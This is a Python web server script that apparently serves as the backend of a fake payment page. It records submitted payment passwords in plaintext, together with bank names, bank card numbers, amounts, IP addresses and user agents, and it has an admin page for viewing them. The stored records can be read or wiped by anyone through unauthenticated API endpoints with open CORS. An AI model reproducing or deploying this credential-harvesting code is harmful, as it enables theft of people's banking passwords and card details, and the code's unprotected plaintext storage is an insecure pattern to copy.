#!/usr/bin/env python3
"""静态文件服务 + 付款密码记录 API"""
import json
import os
import threading
import uuid
from datetime import datetime, timezone
from http.server import HTTPServer, SimpleHTTPRequestHandler
from urllib.parse import urlparse

ROOT = os.path.dirname(os.path.abspath(__file__))
DATA_DIR = os.path.join(ROOT, 'data')
RECORDS_FILE = os.path.join(DATA_DIR, 'records.json')
_lock = threading.Lock()


def _ensure_data_dir():
    os.makedirs(DATA_DIR, exist_ok=True)


def _load_records():
    _ensure_data_dir()
    if not os.path.exists(RECORDS_FILE):
        return []
    try:
        with open(RECORDS_FILE, 'r', encoding='utf-8') as f:
            data = json.load(f)
        return data if isinstance(data, list) else []
    except (json.JSONDecodeError, OSError):
        return []


def _save_records(records):
    _ensure_data_dir()
    with open(RECORDS_FILE, 'w', encoding='utf-8') as f:
        json.dump(records, f, ensure_ascii=False, indent=2)


class Handler(SimpleHTTPRequestHandler):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, directory=ROOT, **kwargs)

    def log_message(self, fmt, *args):
        if args and str(args[0]).startswith('GET /api/'):
            return
        super().log_message(fmt, *args)

    def _send_json(self, status, body):
        payload = json.dumps(body, ensure_ascii=False).encode('utf-8')
        self.send_response(status)
        self.send_header('Content-Type', 'application/json; charset=utf-8')
        self.send_header('Content-Length', str(len(payload)))
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()
        self.wfile.write(payload)

    def _read_json_body(self):
        length = int(self.headers.get('Content-Length', 0))
        if length <= 0:
            return {}
        raw = self.rfile.read(length)
        try:
            return json.loads(raw.decode('utf-8'))
        except (json.JSONDecodeError, UnicodeDecodeError):
            return None

    def do_OPTIONS(self):
        self.send_response(204)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'GET, POST, DELETE, OPTIONS')
        self.send_header('Access-Control-Allow-Headers', 'Content-Type')
        self.end_headers()

    def do_GET(self):
        path = urlparse(self.path).path
        if path == '/api/records':
            with _lock:
                records = _load_records()
            self._send_json(200, {'ok': True, 'records': records})
            return
        super().do_GET()

    def do_POST(self):
        path = urlparse(self.path).path
        if path == '/api/records':
            body = self._read_json_body()
            if body is None:
                self._send_json(400, {'ok': False, 'error': 'invalid json'})
                return
            password = str(body.get('password', '')).strip()
            if not password:
                self._send_json(400, {'ok': False, 'error': 'password required'})
                return
            record = {
                'id': str(uuid.uuid4()),
                'createdAt': datetime.now(timezone.utc).astimezone().isoformat(timespec='seconds'),
                'password': password,
                'amount': str(body.get('amount', '')),
                'merchant': str(body.get('merchant', '')),
                'title': str(body.get('title', '')),
                'bankName': str(body.get('bankName', '')),
                'bankNo': str(body.get('bankNo', '')),
                'ip': self.client_address[0] if self.client_address else '',
                'userAgent': self.headers.get('User-Agent', ''),
            }
            with _lock:
                records = _load_records()
                records.insert(0, record)
                _save_records(records)
            self._send_json(201, {'ok': True, 'record': record})
            return
        self._send_json(404, {'ok': False, 'error': 'not found'})

    def do_DELETE(self):
        path = urlparse(self.path).path
        if path == '/api/records':
            with _lock:
                _save_records([])
            self._send_json(200, {'ok': True})
            return
        if path.startswith('/api/records/'):
            record_id = path.split('/')[-1]
            with _lock:
                records = _load_records()
                records = [r for r in records if r.get('id') != record_id]
                _save_records(records)
            self._send_json(200, {'ok': True})
            return
        self._send_json(404, {'ok': False, 'error': 'not found'})


def main():
    port = int(os.environ.get('PORT', '5173'))
    server = HTTPServer(('0.0.0.0', port), Handler)
    print(f'Server running at http://localhost:{port}')
    print(f'  Admin:   http://localhost:{port}/admin.html')
    print(f'  Payment: http://localhost:{port}/payment.html')
    server.serve_forever()


if __name__ == '__main__':
    main()
